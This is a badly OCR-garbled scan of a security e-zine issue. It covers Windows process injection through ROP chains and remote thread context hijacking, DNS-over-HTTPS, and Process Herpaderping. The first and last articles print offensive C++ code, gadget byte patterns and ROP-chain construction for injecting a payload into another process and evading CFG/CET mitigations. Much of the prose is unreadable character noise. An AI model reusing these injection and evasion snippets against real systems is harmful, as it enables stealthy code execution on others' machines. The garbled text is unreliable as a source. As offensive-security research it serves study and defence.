if (hThreadHandle == NULL ontinue;

-»data->remote_thread_info.threadld = threa -th32ThreadID;
data->remote_thread info.hThread = hThreadHandle;
CloseHandle(hThreadSnapshot);
return 1;

} while (Thread32Next({hThreadSnapshot, &thread32));

Contexts -« .~ x  Threads>x " .+1 .. x « H | 1.

cout
SuspendThread( ->data->remote_thread_info.hThread);

T ctx;
ctx.ContextFlags = CONTEXT_ALL;
cout “[+]
L success = GetThreadContext( ->data->remote_thread_info.hThread, &ctx);

<< EXIT_PROGRAM COMMENT << endl;

))ctx.Rip -

( paYlaads -~ *xx{i]<") 1 4L s s Séction J ¥ 8d "x L x . s

lass: :CreateSharedSection() {

hLocalSection = CreateFileMappingA(
( )-1,
NULL,
PAGE_EXECUTE_READWRITE,
9,

->data->payload_info.payloadSize,
NULL);

f (hLocalSection == NULL) {

cout << "[+] CreateFilel rror: << GetLastError() << endl;
return NULL;

address = MapViewOfFile(
hLocalSection,
FILE_MAP_READ | FILE_MAP_WRITE,
NULL,
NULL,
NULL);

f (address == NULL) {

< GetlLastError() << endl;
return NULL;

« . Cx s ] 4L s L Settiont + | HANDLE" * 44 ™ 1 A

> ~v o~

& LISNIPO2 DA f
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->data->remote_thread_info.hProcess,
->data->section_info.hRemoteSection,

GetLastError(

cout

X22\x22\x22\x22\x22\x22\x22\x22", 8)), captio
per_functic (2 GEIGELN AV EEAVEEAVEEAVEEAVEEAVEEAVEE LV E S N ) thMessageBoxA, 8);

cout << "[+] Un
UnmapViewOfFi

] 4L s s ® Keetivong ¢ L o« X X -L L s { s : XROPChaini s "6 . <
x |payloads - -« _NtMapViewOfSection{ " | ) «~ .~ ¢ x s

ROPGadget. Thread s iip. - + * ROPs” L - o 1Thréads Lrsp e g

->data->context_info.newRSP = t ->data->context_info.o0ldRSP - ©x2000;
->data->context_info.newRIP = saveoldRcx;

L SX s { LS I X RO LTy K& C U x T

WriteProcessMemory(
>remote_thread_info.hProcess,
->data->context_info.newRSP,

->rop_info.ROP,
>rop_info.ROPSize,
&bytesWritten);

S 4.1 XX« . 467" TFhregdxs” Gontext 5 4G4 " L 1. L)

cout << "[+] Sett y i << endl;
SetThreadContext(this->data->remote_thread_info.hThread, &ctx);

cout << "[+] Re i << endl;
ResumeThread( ->data->remote_thread_info.hThread);

—
w o»
[« E
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N (Y

2F tlaal3s
KAaLISNIHO2 PA
np HAM, -MHT ~ * 1LY

&\

[\

a &
8 "

;o
>+



http://www.digitalwhisper.co.il/

Technologic

17 s X s
Px s D oosx D OLERYRBMAEA AL 47X oS ST Y s s {7 x Ty T
Sh 417 X X oL LTS sk ”.x,_”ZH”\V s o x |1 x . . s s i ] .
590t
Ly x b s x5 DIESO NGBSy Ry .« T
.s"vv Ix5‘9tlf,_}§xA’-|Xj-|Lx)-|l =>x‘>< AI-|V -|>I ] x X%
LAZFF@SINFE R g x4 ads v 4 x4 1

1.1« " wSi-®NK SWONBRNF YYAY I 11 < o foxXx 1 ] x sx s qx
14. X L7 x "o S .ow %) « » S xwhsta FRIFSsG:& « 1 ox 7 ox
L. TxXL 4 ex Lx oo ox o o ox " LY GREEE T T
VOREE: {4AyRM@Ea «~xs >*x TwhiKFAYX 4" X" ~ ] _ . 1+ x
I'x (s 1 1~ L, 1. s T S X" 1" . Y XX XX

X8 s 4 q L

P w
wS i-dzNy _ | S R I _x 1 RIR N{SLAMOIS ey dziy R2xY"AY] B {G[Av Y1 s
sA4 . . Ll L. l. X v 414l s i ChNASYEBRN YIYAY:3

S TLZHRSNIS L x o s 4 40 b WO REEL e RS L) sxxs ] X
Tx L 1 4Cs o Ix o xS px X g L
L1 X 4. Fs o b xos 1 1« Doxoxoxo o] . Y 4 s 11
XUy p XX TxUx s lx U x  Iwh{iKHAYRX S DX x D]
Fdox 14 0 b4 ax s T T ex e ssiTox 8T xpe MW 4 L X
R N e U L T S R SR

(LXTie L Ter) S7X_«o.s o *2xgRMAASId L sSs L. 7%

FA 4o s X s x b s ol {fswo ™4 . WX s, T L e IX T L
Jdos s o vl A oxx Tl U Tx vus s ix s x s
17 0% e T AW IREEYRREEX « > 77 xMAGRE €14 0§ x 1 '«

SCs s, 0 X)) GiTs X 1 s b x4 s I A e ST x4 s

~ ~ ~ ~

C O YEREEsx JH s IXYAREE L AL S (4 T

~ ~

X4 1

e
~—
—

[
—_
-

<

»

(7]

2F tlaal3s
KAaLISNIHO2 PA
nc HAM, ~-MHT ~ X {4 LY

wAGS
Gl f2



http://www.digitalwhisper.co.il/

Technologic

Ldr.InMemoryOrderModulelList: 000001cf17823eb0 . 000001cf31eedc30

Base TimeStamp Module
71624250000 fce6740d Jun 15 11:23:41 2104 C:\Windows\System32\WindowsPowerShell\vl.®\powershell.exe
7ffc67d80000 45a49,53 Jun 10 10:05:39 2007 C:\WINDOWS\System32\ntdl1l.d11
7ffc67b10000 39c32a9b Sep 16 11:08:59 2000 C:\WINDOWS\System32\KERNEL32.DLL

Ldr.InMemoryOrderModulelList: 0000028d7d5b42doe . ©000028d7d5b6d20
Base TimeStamp Module
7££710200000 60267150 Feb 12 15:14:56 2021 C:\Users\User\Desktop\Windows\ROP_Research_Solution\x64\Debug\Stable Rite Of_Passage.exe
7ffc67d80000 45a49e53 Jan 10 10 39 2007 C:\WINDOWS\SYSTEM32\ntd1l.d11l
7ffc67b10000 39c32a%9b Sep 16 11:08:59 2000 C:\WINDOWS\System32\KERNEL32.DLL

/| CD
x4 o7 x L x4 4 v I xod. s L2V ENPEA NRCD. -

XX oo IRUR MHB R A4 A-(, . X4« x 1 s<d.o «
bldal LEASHhF{SOUARYSs « 1.« . xX

VyVYVVVVY
e

loc_180065965:
mov
lea
mov
lea
mov
xor
mov
or
lea
mov
mov
mov

nop
test ax, eax
js short _1800659D9

. v,,wxxI\ LdXx s sl o vvd oSaq wdsx s, 4s A s "«
4

1ar 1A00010RE -

mov

call

1MC
cmp
jl short loc_1400010B5
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Kol i di N v RO Omia/k NS 8 S | NI K ket tk 2 dolt DNgRANARYRIE Y €2 -~ = « _ |
CH . 1AL s ] 1.

"VOID Foo (CALLBACK_ROUTINE *Cb) {

IsValidTarget (Cb) == FALSE
TerminateProcess 7
. !
: \ Compiler
cb() | insented (FG
}  mstumentation
Foo (ValidCallback) ; { Foo(0x41414141);
J J
IsValidrarget (ValidCallback) ‘ IsValidTarget (Oxd1414141)
returns 1l roturns FALSE
s ) )
YalidCallback is called Oxd1814241 is WOT called
Process cont inves execut ing Process is terminated

Ki %2 @3 ON®2 YRdEVk 6 A VR2 5 A Kk 6 A V-8 b -BAFANRNRLIKGC2 Y]l N2

!SX\\ ”
OIASEY LI x v 4o« Ts s {7 x s IXECH TEx .0
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[RSP] = Return Address FS:[RSP] = Return Address
- -
Thread's Stack 'I‘hread;ai: adow
Kxs 7 b
O B SWEDWI"ORYRAGARY, s 0t x1 « .+ _ 1, x x4 L_ kX
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Intel® Control-Flow Enforcement Technology (Intel CET)
- +
CET o TRACKING (I1BT) STACK (SS)
INDIRECT BRANCH SHADOW STACK (SS)
TRACKING ( IBT ) SS delivers return address protection to defend against
IBT delivers indirect branch protection to defend against return-oriented programming (ROP) attack methods.
jump/call oriented programming (JOP/COP) attack methods.
PROGRAM STACK
IN MEMORY | <foo>:
endbranch
mova. $0x004fb,-8(%rbp)
mov_-8(3rbp), %rdx retq Return 2.1
retq Y
Intel CET will help prevent
attackers from jumping to
arbitrary addresses Intel CET will help block call if retumn
addresses on both stacks don't match
Intel CET helps protect against ROP/JOP/COP malware
Intel CET is built into the hardware microarchitecture and available across the family of products with that core.
On Intel vPro® platforms with Intel® Hardware Shield, Intel CET further extends threat protection capabilities.
(intel)' Mo prodictor component can b absolutey secue. © el Corporation It the et 1ogo and other el marks are trademarks of Intel Corporation o s subsidares
- J
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NE E- v x SNBAGH $3¢:(0)* 1 Servdice s + -~ "% 1 5”17« | s x
blial LEASohTF{B8O4%2y L%« b TR Y KSNIA OS] 1 L

NTSYSAPI NTSTATUS NTAPI NtMapViewOfSection(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTRZeroBits,
SIZE_ T CommitSize,
PLARGE_INTEGERSectionOffset,
PSIZE_T ViewSize,
SECTION_INHERIT InheritDisposition,
ULONGAIllocationType,
ULONGProtect

)

NINREOEr 1 - ¥ x v s 1ol . x st "X SEG L e " ¢ "ixda” x| "

A ~ > > A ~ >~ A

|BaseAddress\NR E {ProtessHandleNDE ~ ¥ x «  SectionHandl& s4¢ s . NIh > = | L x
S LdY¥Ys sx X 47 1_.s 1.1 r9xl| ZéroBitsxkB1 ~ 1 _ ~ | s

v ~

S I X 1. " 14~ X X 17 Xow X ] o xs s 0" X s 4l % s s

~ ~ ~> ~

gadgetd " ) s 4 T x FA1T X xS Fl. 1. X Pl ¥y x s -

(47,1 _ROPS g #)1x¥ s .popregst X (

LJ2 LINB 3 &

64 popregs = helper_functions::SearchRopGadgets (™ \x58\x5A\x59\x41\x58\x41\x59\x41\x5A\x41\x5B\xC3", 12);

Fd .Yy xos b s | LUNIXERMA X k¥ o 4 WHIDE RIS L s % os
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FYwRE®OERASH _ ¢ st Ao x A4 o x 7 17 , s O D x e X s 4 o
L e R U R B S e N T S A S S U I S S
e s O x o x e se e st I s x|
s AL, kA x v tx ol xxxeEFAF fiste 4 . x S TFRZOFE M7 x|

X,ovwxss 44 1 A8 &OIE 17X, b HIAL Toxes

xLx oL Y OREEC LA, L DX G IR S T s xS
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" x " 17, 1 Thread. contextswitch: x _  Threads = -« 150 4

xgyscals o+ 4 -« 1 N L

bi  ASt ROESOddingy

iYieldExecution

roc near

ds: 5
_18009CFBS

syscall ; Lo ency system
retn loc_18869CFBS:
int
retn
ZwYieldExecution endp

82830l t& *whDlk RIS

DWORD64 syscall = ( )GetProcAddress( (HMODULE )hModuleNtd1l, "NtYieldExecution") + ©@x12;

bial LASGHhF{SOUGAR2YA ‘« Wwh®L « L 158

ROP[ count++] = popregs;
ROP[ count++] a
ROP[ count++]
ROP[ count++] ( 4) -»data->»section_info.hRemoteSection;
L payloadAddress = count++;
ROP[ count++] = NULL;
ROP[ count++ ] ( 1) -»data-»section_info.hRemoteSection;
ROP[ count++] = NULL;
ROP[ count++ ] syscall;
ROP[ count++] add58;
ROP[ count++] NULL ;
ROP[ count++] NULL ;
ROP[ count++] NULL ;
ROP[ count++ ] NULL ;
ROP[ count++] = @;
ount++] NULL ;
C ViewSize = count++;
ROP[ count++] = 2;
ROP[ count++ ] NULL ;
ROP[ count++] PAGE_EXECUTE_READWRITE;
ROP[ count++ ] NULL ;
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A ST s e L e x  X  JEKINBTRY TS P4 x| e ke x|
DXL sy 1.1 s Lo X X L X et ds L X L X L X ] 140
se i 4o x 0 SKNEBEFRES O s cx s xx s ], X s hx 7 Dx oA
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s Do L, 49 0s . whE X T dlas LX) NN H - x4 s
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-1 0 scd.w wh¥ L A4 XL KNBY RE2YESSEG- 4. . 4", < 4s x¢
b/ 2y GAyiddS. « 7 x| o LAY EGSEM & xBhs/. 2y G- A Y dzS
Toc_18009CF55
et it ah
Zucontinue endp
S I
NTSYSAPI NTSTATUS NTAPI NtContinue(
PCONTEXT ThreadContext,
BOOLEAN RaiseAlert
, WABRB L Aald 3Se 4 o x1x s 44 T x s 0 v 4ol ety 4
s ux  LDxX, lx o X T L {ssglgXs {1l 8¥s T
JEKNBIFR 2YESEG1* . +5 sH4 7 x s f Jp{xT 4248”0 x.
DX Ll e e (x 7 L x X KN RO L, Tiex 1Y ) A As_asqd L4
1410 "bils/ 2y-llAydz8 « -~ 1% _ ¢ KNB+HIRL ~ 1@ontaxt p s 4% . s
x> AT w s KNS R s X S8 st
| 2V @SEG +{HdAKSYRCEKRBBRR 1~ v 4, eXs s¥xX]%w s, |

Feo L) RARIRSK  CKNBEFR D x s hkxxXDBli¢KNBI RI2YGSED
LXx ST x L dZALISYREKNBEKR*x« x5 x o X @ KNBFR” 17 x
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1% % DYGEKNSB R/ 2 0SBl 4 X %X 4.5 &+ _+ 4 ) BIQMIRSr 4 %9 94 s
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xWh-ts | x: S N L S I TxxH2AY G SEM |
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wif /| LIGdzNE /' 2ysG SEG L 10, ¢ KNS R LK 1. (X8 {9,718

NTSYSAPI VOID RtlCaptureContext(
PCONTEXTContextRecord

)
2y @SEGR ~4: 7 v ds x4« WHENHEH dzNBR2yaSEG 4 0 d>°
AX S NBE. 4s Ly T oxe X ux o 0 EChPHENRBIY X xS
T Txx 4] /2y {sSENOES vy x4 % ¥ ¢ |, RCaptureContext : -1 o+ ¥
104 0 vds xS swihX tee AL X s 4boxlls, s NOIE | X

" s ¢ s, o _ % 7 xRiChptfeContext _ s 4 ST RDET 4 A() |
ntdll.dll - {1 {1 NIsOemToUnicodeDatas " - _ _ *

~

s 41s 4 x ¢ SsROPGadgets: -

mov
add

pop

retn
RtlResetRtlTranslations endp
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s 4.7 x s Contexts + <« {. RtiCaptureContext + -~ " x ¢ s x .
st X . X s 10 :QSYS[;SS)EI,] XNﬁé Do s S Eilis x
L 1. %< s NODE L +x1-4% 17« NisOemToUnicodeDatd -

—

I HGr2y0AydsS [ 2y &SEUE L . x| - Nis®emToWnicsdeData
RtlCaptureContext - 44 « « 7 x . > xswh% 1. { B 41" xd_, s 4+98x

- 3

e Xs Ixos  NODE-< X, rwh®PHRISEHE * o x A
add rsp, 20h
pop rl4

xwht > X344 08444 1N\f}E1”51”v A 41T xxp o, X

RtlCaptureContext + NODE* «  wh¥ s 1s

->data->context_info.newRSP ->data->context_info.oldRSP - Bx
->data->context_info.newRIP = saveoldRcx;

ROP == NULL

ROP[count++] = NULL;

ROP[ count++] = NULL;

ROP[count++] = NULL;

ROP[count++] = NULL;

ROP[ count++] ->data->context_info.oldR14;

ROP poprcx;

D C xtAddress = count++;

if (((( -»data->context_info.newRSP + ((count + 2)
L

ROP[count++] = ret;

}

ROP[ count++] RtlCaptureContext;
ROP[count++] = add23;

ROP[ count++] = NULL;

ROP[ count++] = NULL;

ROP[count++] = NULL;

ROP[ count++] = NULL;

ROP[ count++] = NULL;

&l @S2t RwOE

saveoldRcx = helper functions::SearchRopGadgets (" \x88\x80\x43\x83\xcd\x20\x41\x5e\xc3", 9) - 5;

—
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[ 2y A NDE" x « 1

ROP[count++] = popregs;

ROP[count++] = MULL;

ROP[count++] = pNlsOemToUnicodeData;
contextRcxfAddress = count++;

ROP[ count++] MULL ;

ROP[count++] = NULL;

ROP[ count++] NULL ;

ROP[count++] = NULL;

ROP[ count++]

movrdxrcx;

1. x . bfansSyer! yAOXRSS5I G

ROP[ count++
ROP| count++

[ ] poprax;

[ ] = oldNlsOemToUnicodeData;
ROP[ count++] poprcx;
ROP[ count++] pNlsOemToUnicodeData;

| ]

ROP[ count++ movraxrcx;

PR KB LI 4 wiif ¥ ¢ LIG dzNBuha ff RS/BES Eil- 4 . 1454 &8 s 4 X
Deox . D L, x 7 X ] G KNBY R AL o 4] »1 «8 Iiee b

ST whts T UNGKNIR LY . v 4 ). s KESLs 4% T TWRN DT L]

sl x DYy e s NAKNBEN J s rwAGIE L/ SEILIGdZNT 2 ¥ YsB ERG s
Lo X 1w T e U " NRRNB,LINT 4 s wHy Nkt PRYVESEG X

- X x T X ] A L 1,5y L , X _+~ .S i X

~ A A ~ ~

DSG¢CKNBI R/ 2y(SE(

cx P 2 ysE SNBNIE LI T ) Twhp 4 X! S

ROP[count++] = poprax;

ROP[count++] = 1 ->data->context_info.o0ldRSP;
ROP[count++] = poprcx;

DWORD64 contextRspAddress = count++;

ROP[ count++] = movraxrcx;

ROP[ count++
ROP[ count++

= poprax;
= ->data->context_info.oldRIP;

]
]
ROP[ count++] = poprcx;

DWORD64 contextRipAddress = count++;

ROP[ count++] = movraxrcx;
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Tl o0 v 4l X7 { EKNBLER A KA WESEG - x4l s

-r A 2GR Y dZSS T X T T What S e s X x4 Y ] x T ey
MENobxy 2y-iayaSI T €1 .-NF B -, * . ¥"2y08E(

ROP[ count++] = popregs;
ROP[count++] = 0x43;

ROP[count++] = O;

DWOF 1 ContextAddressForRCX = count++;
ROP[count++] = NULL;

ROP[count++] = NULL;

DWORD64 ContextAddressForR10 = count++;
ROP[count++] = NULL;

ROP[count++] = syscall;

ROP[count++] = add28;

] = NULL;
ROP[count++] = NULL;
ROP[count++] = NULL;
ROP[count++] = NULL;
ROP[ count++ ] NULL;

|
|
|
ROP[ count++
|
|
|
|

X, 497 s X F A7 xCKRNBFARI A s, 0 %1 usto ws” v 40 x 1A x 1

L. KNBL R X { o 4Ll xXYESEM T L0 AL x

v o~

Px " el TS x T 141 X ¢ s qq _x x

~ ~ v o~ ~ ~ ~ ~

1~ x X S
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JA4Ls s CKNBLR_ . xsix2¢y@SEG ¢ 1

PS N\Users\User
17944
PS C:\Users\User)>

t 25SNY KStfs”yss

=

General Statistics Performance Threads Token Modules Memory Environment Handles .NET assemblies
File
Windows PowerShell
Version: 10.0.18362.1

Image file name:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process
Command line: "C:\Windows\System32\WindowsPowerShell\y1.0\powershell.exa”

Current directory: | C:\Users\User},

Started: 19 minutes and 14 seconds ago (11:31:04 17/02/2021)
PEB address: 0x47 0606000
Parent: explorer.exe (12840)

Mitigation policies: | DEP (permanent); ASLR (high entropy); CF Guard

Protection: None

NET performance GPU  Comment

Image type: 64-bit

Details

Permissions Terminate

Close
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https://github .com/galyaniv/StableRite-Of-Passage
N GR LX) ~ _x7X 11
https://www .youtubecom/watch?wjzuPgvfogR®list=PLKNIAWT F5yEugX4f58qPB2d8iJOMm
uz&index=3
OffensiveCon18 JoeBialek- TheEvolutionof CFlAttacksand Defenses:
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DNS

Root server

2. What is Alice.com ip 3. You should ask .com DNS servers
address?

1. What is Alice.com ip address? m - . m
4. What is Alice.com ip address?

» |ee " > oo "
o o
< DNS | < DNS
8. The address is 10.20.30.40. —_—— , ) —_—>—
You can keep it in cache for > Herg > Fhe IP for Alice
Bob 300 seconds. Bob's local name authoritative servers, ask there. .com DNS server
server
A

7. 1ts 10.20.30.40,
you should ask me again in 6. What is Alice.com ip address?

300 seconds, it might change.

oo ] ]
o
DNS
R
Alice
authoritative
server
[ Ao~ i v w tsds, s X x X 1A X stde 41 s
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DGH * BNSOverHTTP + . % s¢ s ¢

5b{ h@OSNI I ¢¢cto

IETPF HAMyYy: "HTTP o _ +*x7"x ., ot 4s (] 11 Xxs.osx , ]Xx s | X\ x
X Tx, 7 T xx o px o plx mxo,t 4 IRFE ny s ¥ 1K 4,8 L
Punnel + -, s ¢ s O«
*x 4 X PDNS _ st x_ s Tx"y” sx s DoH. +gs ,F _ s 7.
Authenticatiorrx Caching Compression Redirect *XHTTP _, *x " 4L | Pl X xs os Pl
Txy oo x4 x s 4 L CHAHTIP2 ) o DOH X T X S e s ", x_
1Txxq4s . *x HITPPipelihings  _ s 1
1 T xx 1 s O e d o x o X S X HATP/LE - 7 41X T x o x 8 g4 X
.LX«X1X”>>< s X, X

DoH: _ « %
Ce o eET* oG O POQSTBRT, i x box b X DoH| A AT x0T A
X le“v ax X s =1BNSXI,,S1VZ,,\)XI-|~w‘.”~”x-|._|_|_“ w S~ XS | X

base64url

© < Utl-s X X WX | %X DoH ! ¥ X 4%

https:// dnsserverexampleconydnsquery

;4 1 wavw.examplecom

: method = GET
:scheme = https

:authority = dnsserver.example.net

‘path
accept = application/dns - message

HTTP/2 . paddingx s |

» XGET © » DoH : _ « *

=/dns - query?dns=AAABAAABAAAAAAAAA3d3dwdleGFtcGXxIA2NVbQAAAQAB

50D { DS NI |

¢Cet 6{0

h
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https://dnsserver.example.com/dns-query

:method
:scheme
:authority
path =
accept =
content -
content -

<33 bytes

00 00 01 00 00 01 0000 00 0000000377 7777
07 65 78 61 6d 70 6¢ 65 03 63 6f 6d 00 00 01 00
01
17 1% x 4s | heX. XS < *.51T«po0,H+! XXsx POST < 1d¥ |
i+~ x s > applicatioldn§message & contenttype _ x _ 441 11 X s
~ X . q 5 S R x
multiplexing* 4 © x . x A HEHIIP T AT, BOH  fax

'

Y X

:Status

https
= dnsserver.example.net
/dns - query
application/dns - message
type = application/dns - message
length = 33

represented by the following hex encoding

x s (HTTP " jicachecontrol + header *
DoH_ ¥ x, 1ix {” x x”{s |,
A% A
= 200

content -type = application/dns - message
content -length = 61

cache

- control = max- age=3709

<61 bytes represented by the following hex encoding

00 00
07 65
01 cO
b8 ab

81 80 00 01 00 01 00 00000003 777777
78 61 6d 70 6¢ 65 03 63 6f 6d 00 00 1c 00
0c 00 1c 00 01 00 00 Oe 7d 00 10 20 01 0Od
cd 00 12 00 01 00 02 00 03 00 04

s« .POST + +DoH s

XXX o

x .

.0 XA X s HTTP/2 - x { x .,

DoH- * x
boH , . 8 X X
s X L = X q X

TIPVB I x L] AAAAL X )

, STTLx 20 % s % Jo U HAL IR S xXx XX s 4] 8
UV T B A .o soox XX o x cdachecontrob* kLd, L, o tLX_4XX
SHXJH « L X
5b{ h@SNI 1 ¢¢cto{o
G FDP5ATAG 2 KAALISNIDOZ2 DA f
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Fdos X oo, .1 4~ DoHx® _rYx,.,d4ss TAdE L DNSY] LX< x i
X . qs O S L UDR * s s BNS_ SX L X W XplSXe, bl f Sy R
1T+ Ix To 7 o Ax 0o x s e s
FY o A xR 8 0. X g1 s x4 ATCPS ) Xed 0ol DR X8 e X ,
Lol X XX T IRE T I TR B I N I _ , oA s
I~ okt X Ao D ls |y ds 9 0 11 1x _ SamKrows® + 7~ A
114 %xs T R S T I i1
SuXs s XXy xs 471X I X
Country ISP ISP D053 C'%”:;?re Clogg:are Google D053 Google DoH
Germany| DCulsche | 1o g6 3457 38.03 33.97 33.01
Telekom
Germany| _KaPel 20.67 20.41 23.03 35.58 37.55
Deutschland
Germany | Telefonica 17.82 19.73 21.61 49.43 49.1
Greece CYTA 59.07 47.78 25.82 79 76.14
Greece Cosmote 18.41 19.97 22.57 75.03 73.02
Greece Forthnet 26.45 65.48 75.22 81.97 88.49
Italy Fastweb 21.28 14.54 16.77 46.1 48.73
Italy Telecom ltalia| 40.53 39.19 37.55 60.06 61.46
Italy Vodafone 57.87 22.1 26.62 57.04 62.85
Portugal MEO 33.65 20.83 21.92 62.73 66.04
Portugal Vodafone 26.12 18.29 8.52 48.1 50.31
Spain Orange 15.24 15.2 19.84 48.79 48.97
Spain Telefonica 20.2 12.83 15.93 45.15 45.08
Spain Vodafone 12.27 5.11 9.82 47.65 51.73
UK BT 29.63 21.61 28.42 41.91 43.44
UK Plusnet 26.24 19.88 24.65 37.86 40.59
UK Sky 13.83 13.95 27.23 13.82 41.43
UK TalkTalk 9.86 16.32 21.88 35.38 36.97
UK Virgin 14.57 17.6 21.4 39.2 38.73
UK Vodafone 32.44 22.62 17.97 37.77 33.53
[https://samknows.com/blog/dnsover-https-performance : ~ X « _ ]
5b { GSNI 1 ¢¢to{0

h
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Technologic

1L XY .,<X s A B A
, . X< 1S R A" s " wsDaH "t d o x ¢ 1,88 ] s { s s ¢ 1«
FATXY os 4 X o Xx g b 0 o POHE s oy X gk 40X 0 xR
DX X I 4 DNS. , S XX s xEHXX s D] cq{ds, Isx X
1] v, ITxxlbp xo sty 5% J4dx,x x e _¥AFLx7
SSITLS 0 DoHxxe x4 4 11 ] 1 x Tox Tx Tt q T x
Coe 1x sy L x 14X , ot ex oo s x o v 4 stripping S - X . qds
, - X ¥ 7 SOC, XX, X T X ¥ v N I T S B R A e I O T
s T I AS 4w xs SNSAS. XXl | Txw,os  x141% .y 4]
NBA s v v LS s XX o x T o xDoH P4y 1
oXY es Dx T4 T DOH L S0 YL Lo,

CTXY L x 4 _LDOH _ %~ _ ¥14+ NSAPd L HALT L, X"

L X« , 1 ~DN&s 0 oLxx7X] "I Do DX v L, .o X A X L ] ¥4 v X85 x O

CX v o X tDbMsd e X X Al 4 A o x T T e L, D e S0 0 D

S . W4Tk " WM T { {ReverseDNSEodkup 4L Lx Li)"x 4 (TS

_X"L'Ix~x X"LN AI'I s i ”_IXA_I~ 'IV“X”

DoH* . f .. AT~ dde , Txy e oy

« L 1 v -+ Windowss~» x> DBNSOverHTTP .~ 4! YR AOH A ~AX", > % x {s
17 00 s, ss L. 0 tx L 1Windowsipsiderst s 1 N d X p X oL b
Pl o0 kY X dx sl Tk s EXTERXTY N A posd N
registry * 7 1« 4 xWiAdows¥ I DoH . s.tx * . o7 - 4 X1 s
DS Xs s |, o..rdgeditt 1 XX b X

HKEY_LOCAL_MACHINESYSTEM CurrentControlSet \ Services \ Dnscache \ Parameters

H X | . _ :EnableAutoDoh*x + DWORD { ~ . 4, x" =]
.DN8 * ; L X" soipktmens T Xy b 4 lX 1 xxio sl ]T

pktmon filter remove

pktmon filter add -p 53
pktmon start -- etw -lreal

DX W X 'I :,,XX1 w X "X Uy ‘I”\.L b -HX o _] %

{ hoSNIl1¢cecto{u
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Technologic

Foxol A

I 7 s { L 1.:%sx N WXX"s{ «s, ] DNSt ¥ « X X ., sSp s .xs"gX S . . X

~ ~

2. 4 x4+ . x* | DNSOVErHTTR _ X ¥ | + X 7 & X

~

yx,,l~><,,,%XIA|\_' L sx-|v ,_x~ S « X N 17 « ,SC N
X A x AT T s XX T ox L x e o X ox ] X x4 Iy 4L
ot oxs e . v s D DOHLs S0 TIXxXY Lode s, Tae LI sy

9K2I YA
xS v s 4 1L T XX x| f patkertld T H M T 4. X«
oA s e xS T X vy Jix . x 8 oL CTR X% X F Lo x|,

ST I VO Lox

motishaku@gmailcom

1 Adopting Encrypted DNS in Enterprise EnvironmeNSA:
https://media.defense.gov/2021/Jan/14/200256488%/-1/0/

1 RFC 4033 (DNS):
https:// tools.ietf.org/ html/rfc4033

1 RFC 8484 (DNS Over HTTP):
https:// tools.ietf.org/ html/ rfc8484¢section5.1

Digital Whisper My = X { tDNS 4 x & I+ _
https:// www.digitalwhisperco.il/files Zineg0x12 DW184-DNSpdf

BieepingComputer 4 *DNS Over HTTR | 'WAindows * ~ -~ 41 s o 14«

https:// www.bleepingcomputeicony newd microsoff windows10-getsdns-over-https-

supporthow-to-test/

SamKnows » -« s x 1 4 x 4 X s

https:// samknowscony blog dns-over-https-performance

5b{ h@SNJ Il ¢¢tof{ov
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https://media.defense.gov/2021/Jan/14/2002564889/-1/-1/0/CSI_ADOPTING_ENCRYPTED_DNS_U_OO_102904_21.PDF
https://tools.ietf.org/html/rfc4033
https://tools.ietf.org/html/rfc8484#section-5.1
https://www.digitalwhisper.co.il/files/Zines/0x12/DW18-4-DNS.pdf
https://www.bleepingcomputer.com/news/microsoft/windows-10-gets-dns-over-https-support-how-to-test/
https://www.bleepingcomputer.com/news/microsoft/windows-10-gets-dns-over-https-support-how-to-test/
https://samknows.com/blog/dns-over-https-performance

Technoloqgic

S « S
NEO8Sgd , " x xl 4sx Tx si4LF xS T dxxyps o471
It N2OSNILI RSNUHAYI .« s t(INPGRAANSIRY AL 26AYy 3

YNXV S L poe DX L o x "-|~VZ~V" x|_-|>\x DX L @x {7 -

TxxFWAR (O v ir LY x Y TS X x x| X
Fd_44437+9 CHA YRSOGOBSR: x4 _ s ] x4s4 xp I x6x”
aAYAUMGTE F@E2HR & _ 0 «xs v THX s 4,5 T Cxx s 4,
LS e S v x X s LAX X 4 s 5”1\,:5\': sx|s-|,',\lf|j’.<

Y LT s 4 X x 2 I x 2 AyWR2%AL 1L L. s X I -

A4t 4.1 4 Aty T Ix DX s (Ox s X x s T

« X ol TPt L X o XY s ¢, x| S b XN . b S s, s sl xo

S S . v oL X S s ¢ x s L

P P8R 0MHE L s oL s 4 X d A e s L FL o x| %,
Ecn i« X{1J2AYR2W6& *: 11 9-1:.3%32KkyR264a,

~

t N2OSaa | SNLJ RSNLMAy3
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I T N L . SN I SNUIE S NI

Gl YO KIS @ HEF R_

main()

MessageBoX NULL. "I amthe payload! ", "Payload", MB_OK

MB_ICONINFORMATIDON
return O;

ex X x4, T SNINBPRNIO1L AT ¥ . s xx s, s x s { .

I x4, 1+ s &7 X o 4 . S « 4 Y L <« oxox

L X 4 s L O L s « ¢ x "s = %X x ]

dzy LI -0 SINJ w/ mixxhw v | 07 ox xS sx . By

HANDLEpayload_file_handle = i CreateFileA ("payload.exe "

GENERIC_READFILE_ SHARE_REAP FILE_SHARE_WRITE
FILE_SHARE_DELETEnullptr , OPEN_EXISTING
FILE ATTRIBUTE_NORMAIullptr );

DSGCAEBSS{ATS s ., ¢ x ¢ s 7  SKEYREELT x¥ x5

~

DWORPpayload_size = :: GetFileSize (payload_file_handle, nullptr );

(47 s L21dEIE NEBSY dsxeil Lo XX os OB YeY LS. A HBX XY b 4N
I

@e-¥y 4 x4 0 . o xo o s exby ] 41 ]

O H:Lx XS « ¢ x 7 s

A R R o B e (S

Pe WSHERCARHS 7 X L v .07 x  x 7y s AYKINTAYGSSNIx 7 s ]

O dzFsF SINg  x " ] x

auto payload bytes = std :: make unique<BYTH]>(payload_size);

. ReadFile (payload file _handle, payload bytes. get(), payload size,
nullptr );

DKL YRES L xxus

nullptr

I = x, | {¢x s ¢

X " s = ox - X

t N2O0Saa | SNLJI RSNLIAy3
66 P5ATAGI 2 KAALISNDO2
TH HRAM,

DAt
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e x e X x )L s SNLE RENLFYET 4 ~s 4" 1.1 x x
Xww A1 EdS X4k ] 4. YL . T TISIF XTXpx s"s 26 x s
DObOywB/ 5: x+ _.ss/ NBIF&SCRES! . " . s.Sx”"s . .,s .

DO boywivL-¢ 9

HANDLEherpaderping_file_handle = .. CreateFileA ("herpaderp.exe ",
GENERIC_READ | GENERIC_WRITB, nullptr , CREATE_ALWAYS
FILE_ ATTRIBUTE_NORMAhullptr  );

.. WriteFile (herpaderping_file_handle, payload_bytes. get(), payload_size,
nullptr , nullptr );

be¢5Cdzy OUA2Y a

